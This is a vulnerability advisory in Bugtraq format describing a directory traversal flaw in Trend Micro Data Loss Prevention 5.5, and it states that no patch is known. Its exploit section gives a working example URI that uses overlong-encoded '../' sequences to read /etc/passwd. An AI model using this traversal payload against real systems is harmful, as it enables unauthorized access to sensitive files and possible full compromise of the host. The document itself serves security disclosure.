Trend Micro Data Loss Prevention Directory Traversal Vulnerability

Bugtraq ID:	48225
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 11 2011 12:00AM
Updated:	Jun 11 2011 12:00AM
Credit:	Luis Martinez, Sergio Lopez,White Hat Consultores
Vulnerable:	Trend Micro Data Loss Prevention 5.5
Not Vulnerable:

Trend Micro Data Loss Prevention Directory Traversal Vulnerability

Trend Micro Data Loss Prevention is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

A remote attacker could exploit this vulnerability using directory-traversal strings (such as '../') to gain access to arbitrary files on the targeted system. This may result in the disclosure of sensitive information or lead to a complete compromise of the affected computer.

Trend Micro Data Loss Prevention 5.5 is vulnerable; other versions may also be affected.

Trend Micro Data Loss Prevention Directory Traversal Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

https://www.example.com:8443/dsc//%c0%ae%c0%ae/%c0%ae%c0%ae/%c 0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%a e%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c 0%ae/%c0%ae%c0%ae/etc/passwd

Trend Micro Data Loss Prevention Directory Traversal Vulnerability

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

Trend Micro Data Loss Prevention Directory Traversal Vulnerability

References:

• Data Loss Prevention Homepage (Trend Micro)